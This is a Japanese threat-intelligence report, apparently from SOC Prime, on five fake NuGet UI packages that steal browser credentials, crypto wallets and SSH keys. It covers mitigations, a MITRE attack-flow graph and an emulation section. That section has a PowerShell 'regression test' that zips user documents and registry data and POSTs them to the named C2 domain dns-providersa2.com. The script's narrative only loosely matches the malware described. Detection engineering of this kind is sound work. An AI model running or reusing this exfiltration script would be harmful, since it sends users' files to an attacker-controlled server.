5つの偽NuGetユーザーインターフェイスパッケージが暗号ウォレットと認証情報を盗む

Ruslan Mikhalov SOC Primeの脅威リサーチ責任者

フォローする

5つの偽NuGetユーザーインターフェイスパッケージが暗号ウォレットと認証情報を盗む

Detection stack

AIDR
Alert
ETL
Query

脅威レポート
攻撃フロー
検出
シミュレーション

概要

アカウントに公開された5つのNuGetパッケージ bmrxntfj 著名な中国の.NET UIライブラリを偽装し、.NET Reactorで保護された情報スティーラーを組み込んでいます。悪意のあるペイロードはDLLがロードされるとすぐにアクティブ化され、JITコンパイラーをハイジャックし、ブラウザーの認証情報、暗号通貨ウォレットデータ、SSHキー、ローカルファイルを盗み、新たに登録されたコマンド&コントロールドメインにそれらを流出させます。頻繁なバージョン変更と隠されたパッケージリストが、単純なハッシュベースの検出を回避することを助け、開発者のワークステーションとCI/CD環境の両方にリスクをもたらします。

調査

研究者は.NET Reactorで保護されたマルウェアを解凍し、 we4ftg.exeという名前の第二段階の.NETアセンブリを特定し、メモリから設定文字列を復元しました。彼らの分析では、どのブラウザとウォレット拡張機能がターゲットにされたかを示し、カスタムHTTPヘッダー形式を文書化し、OneDriveディレクトリの下にあるステージング場所を特定しました。さらに、コマンド&コントロールドメイン、そのIPアドレス、関連するプライベートGitサーバーに関するインフラストラクチャの詳細も明らかにしました。

緩和策

セキュリティ担当者は、コマンド&コントロールドメインとIPアドレスに対するDNS解決とアウトバウンドトラフィックをブロックし、 keys.dat ファイルのOneDriveフォルダー内での作成を監視し、カスタム X-xxx HTTPヘッダーに警告を出すべきです。いずれかの IR.* パッケージは依存関係ツリーから除去し、確認済みの正当なライブラリで置き換えるべきです。潜在的に露出した全ての認証情報、トークン、秘密は直ちにローテーションするべきです。

対応

悪意のある IR.* パッケージの1つを復元またはロードしたすべてのシステムは、妥協したものとして扱い、隔離し、完全な認証情報ローテーションを実施するべきです。検出対象の内容は公開された指標で更新し、NuGet Galleryの管理者と協力して悪意のあるパッケージが削除され、公開アカウントが停止されるようにするべきです。

"graph TB %% クラス定義 classDef technique fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff classDef data fill:#ccffcc classDef operator fill:#ff9900 %% ノード – 手法 tech_supply_chain["手法 – T1195.002 サプライチェーンの妥協 説明: 正当なパッケージに悪意のあるコードを注入するためのソフトウェアサプライチェーンの妥協。"] class tech_supply_chain technique tech_appdomain_hijack["手法 – T1574.014 実行フローのハイジャック: .NET AppDomain マネージャ 説明: 敵が.NET AppDomainマネージャをハイジャックして、意図したアプリケーションが始まる前にコードを実行。"] class tech_appdomain_hijack technique tech_obfuscation["手法 – T1027 難読化されたファイルまたは情報 説明: 不正なコードまたはデータを隠すためのパッキング、暗号化、またはその他の手法を使用。"] class tech_obfuscation technique tech_trusted_dev_proxy["手法 – T1127 信頼された開発者ユーティリティおよびパッケージマネージャの代理実行 説明: 正当な開発者ユーティリティまたはパッケージマネージャを悪用して、悪意のあるコードを実行。"] class tech_trusted_dev_proxy technique tech_software_ext["手法 – T1176 ソフトウェア拡張機能 説明: 実行を得るためにソフトウェア拡張機能またはプラグインを活用。"] class tech_software_ext technique tech_process_discovery["手法 – T1057 プロセスの発見 説明: 被害者システム上の実行中のプロセスを列挙。"] class tech_process_discovery technique tech_file_dir_discovery["手法 – T1083 ファイルとディレクトリの発見 説明: 貴重なデータを特定するためにファイルとディレクトリを一覧。"] class tech_file_dir_discovery technique tech_browser_info["手法 – T1217 ブラウザ情報の発見 説明: インストールされているブラウザと拡張機能についての情報を収集。"] class tech_browser_info technique tech_browser_credentials["手法 – T1555.003 ウェブブラウザからの認証情報 説明: 保存されたパスワード、クッキー、その他の認証素材をブラウザから抽出。"] class tech_browser_credentials technique tech_private_keys["手法 – T1552.004 保護されていない認証情報: プライベートキー 説明: プライベートSSHキーとその他の暗号鍵を特定して流出。"] class tech_private_keys technique tech_credentials_files["手法 – T1552.001 ファイル内の認証情報 説明: 設定またはデータファイルに格納された認証素材を検索。"] class tech_credentials_files technique tech_data_staged_local["手法 – T1074.001 データのステージング: ローカル 説明: 収集したデータを流出前にローカルホストで集約。"] class tech_data_staged_local technique tech_data_staged_remote["手法 – T1074.002 データのステージング: リモート 説明: データがクラウドストレージのようなリモートロケーションでステージング。"] class tech_data_staged_remote technique tech_process_injection["手法 – T1055.001 プロセスインジェクション: ダイナミックリンクライブラリインジェクション 説明: 不正なDLLを正当なプロセスに注入して秘密裏に実行。"] class tech_process_injection technique tech_sandbox_evasion["手法 – T1497.002 仮想化/サンドボックス回避: ユーザー活動に基づくチェック 説明: 既知のユーザー名またはコンピュータ名を確認してサンドボックス環境を検出。"] class tech_sandbox_evasion technique tech_c2_web["手法 – T1071.001 アプリケーション層プロトコル: ウェブプロトコル 説明: HTTP/Sを使用してコマンド&コントロールサーバーと通信。"] class tech_c2_web technique tech_junk_data["手法 – T1001.001 データ難読化: ジャンクデータ 説明: ネットワークペイロードにランダムなノイズを加えて検出を妨げる。"] class tech_junk_data technique %% ノード – ツールとマルウェア tool_nuget_pkg["ツール – 名前: 悪意のあるNuGetパッケージ IR.* 説明: NuGetに公開され、正当な中国の.NETライブラリを模倣するパッケージで、復元中に引き出される。"] class tool_nuget_pkg tool tool_dotnet_reactor["ツール – 名前: .NET Reactor (Necrobit) 説明: .NETアセンブリをパックおよび暗号化し、RSA20111024 反改ざん署名を加えます。"] class tool_dotnet_reactor tool malware_payload["マルウェア – 名前: .NET Reactor ペイロード 説明: AppDomainManager初期化子によってロードされる暗号化された.NETアセンブリ。"] class malware_payload malware tool_sharpinjector["ツール – 名前: SharpInjector 説明: エクスプローラ.exeのような長期間稼働するプロセスにDLLインジェクションを行う.NETインジェクター。"] class tool_sharpinjector tool process_explorer["プロセス – 名前: explorer.exe"] class process_explorer process process_dllhost["プロセス – 名前: dllhost.exe"] class process_dllhost process data_staged_file["データ – パス: C:ProgramDataMicrosoft OneDrivekeys.dat"] class data_staged_file data %% フロー接続 tech_supply_chain –>|配信| tool_nuget_pkg tool_nuget_pkg –>|トリガー| tech_appdomain_hijack tech_appdomain_hijack –>|ロード| malware_payload malware_payload –>|パック| tool_dotnet_reactor tool_dotnet_reactor –>|有効| tech_obfuscation tech_obfuscation –>|促進| tech_trusted_dev_proxy tech_trusted_dev_proxy –>|使用| tech_software_ext tech_software_ext –>|有効| tech_process_discovery tech_process_discovery –>|導く| tech_file_dir_discovery tech_file_dir_discovery –>|導く| tech_browser_info tech_browser_info –>|有効| tech_browser_credentials tech_browser_credentials –>|集める| tech_private_keys tech_private_keys –>|集める| tech_credentials_files tech_credentials_files –>|ステージ| tech_data_staged_local tech_data_staged_local –>|書き込み| data_staged_file data_staged_file –>|同期| tech_data_staged_remote tech_data_staged_remote –>|使用| tool_sharpinjector tool_sharpinjector –>|インジェクト| process_explorer tool_sharpinjector –>|インジェクト| process_dllhost process_explorer –>|サポート| tech_process_injection process_dllhost –>|サポート| tech_process_injection tech_process_injection –>|チェック| tech_sandbox_evasion tech_sandbox_evasion –>|許可| tech_c2_web tech_c2_web –>|伝送| tech_junk_data %% クラス割り当て class tech_supply_chain,tech_appdomain_hijack,tech_obfuscation,tech_trusted_dev_proxy,tech_software_ext,tech_process_discovery,tech_file_dir_discovery,tech_browser_info,tech_browser_credentials,tech_private_keys,tech_credentials_files,tech_data_staged_local,tech_data_staged_remote,tech_process_injection,tech_sandbox_evasion,tech_c2_web,tech_junk_data technique class tool_nuget_pkg,tool_dotnet_reactor,tool_sharpinjector tool class malware_payload malware class process_explorer,process_dllhost process class data_staged_file data "

攻撃フロー

攻撃者のストーリー&コマンド：
攻撃者は、被害者の.NETアプリケーションにインポートされたときにPowerShellペイロードを発動する正当なNuGetパッケージを妥協させました。ペイロードは次のステップを実行します：
1. ディスカバリー（T1082, T1083）： OSのバージョンを収集し、ユーザー文書を列挙します。
2. 認証情報収集（T1552.001）： レジストリから保存された認証情報を読み込みます。
3. アーカイブ（T1560）： 収集したファイルをZIPアーカイブに圧縮します。
4. ヘッダーの難読化（T1027）： カスタムHTTPヘッダーを追加 X-Auth-Token: <ランダム文字列> 流出トラフィックを偽装するため。
5. C2流出（T1071.001, T1005, T1195.002）： 悪意のあるC2サーバーにアーカイブをPOST dns-providersa2.com (またはそのハードコーディングされたIP 62.84.102.85).
この X- ヘッダーの使用はSigmaルールの http.request.header|contains: "X-" 条項に直接適合し、宛先は静的IoCに一致します。

回帰テストスクリプト：

# -----------------------------------------------------------------
# 回帰テスト - “悪意のあるC2通信”Sigmaルールをトリガー
# -----------------------------------------------------------------
# 1. システム情報の収集（T1082）
$sysInfo = Get-ComputerInfo | Select-Object OSName, OSVersion, WindowsDirectory

# 2. ユーザー文書の列挙（T1083）
$docs = Get-ChildItem "$env:USERPROFILEDocuments" -Recurse -File -ErrorAction SilentlyContinue

# 3. レジストリからサンプルの認証情報を読解（T1552.001）
$credPath = "HKCU:SoftwareMicrosoftWindowsCurrentVersionExplorerRunMRU"
$storedCred = (Get-ItemProperty -Path $credPath).MRUList | Out-String

# 4. データのパッケージ化（T1560）
$tempZip = "$env:TEMPexfil_$(Get-Random).zip"
$items = @($sysInfo, $docs, $storedCred)
Compress-Archive -Path $items -DestinationPath $tempZip -Force

# 5. カスタムHTTPヘッダーの準備（難読化 – T1027）
$authToken = "X-Auth-Token: $([guid]::NewGuid().ToString())"

# 6. HTTP POSTを通じて悪意のあるC2に流出（T1071.001）
$c2 = "http://dns-providersa2.com/upload"
Invoke-WebRequest -Uri $c2 `
                  -Method Post `
                  -InFile $tempZip `
                  -ContentType "application/octet-stream" `
                  -Headers @{'X-Auth-Token' = $authToken}

# 7. ローカルアーティファクトのクリーンアップ
Remove-Item $tempZip -Force

クリーンアップコマンド：

# テストから残る可能性のある一時ファイルをすべて削除
Get-ChildItem "$env:TEMPexfil_*.zip" -ErrorAction SilentlyContinue | Remove-Item -Force

# ファイアウォールログサイズのリセット（オプション）
netsh advfirewall set allprofiles logging maxfilesize 4096

SOC PrimeのDetection as Codeプラットフォームに参加し ビジネスに最も関連性のある脅威に対する可視性を向上させましょう。開始して即座に価値をもたらすためには、今すぐSOC Primeの専門家とのミーティングを予約してください。

無料で参加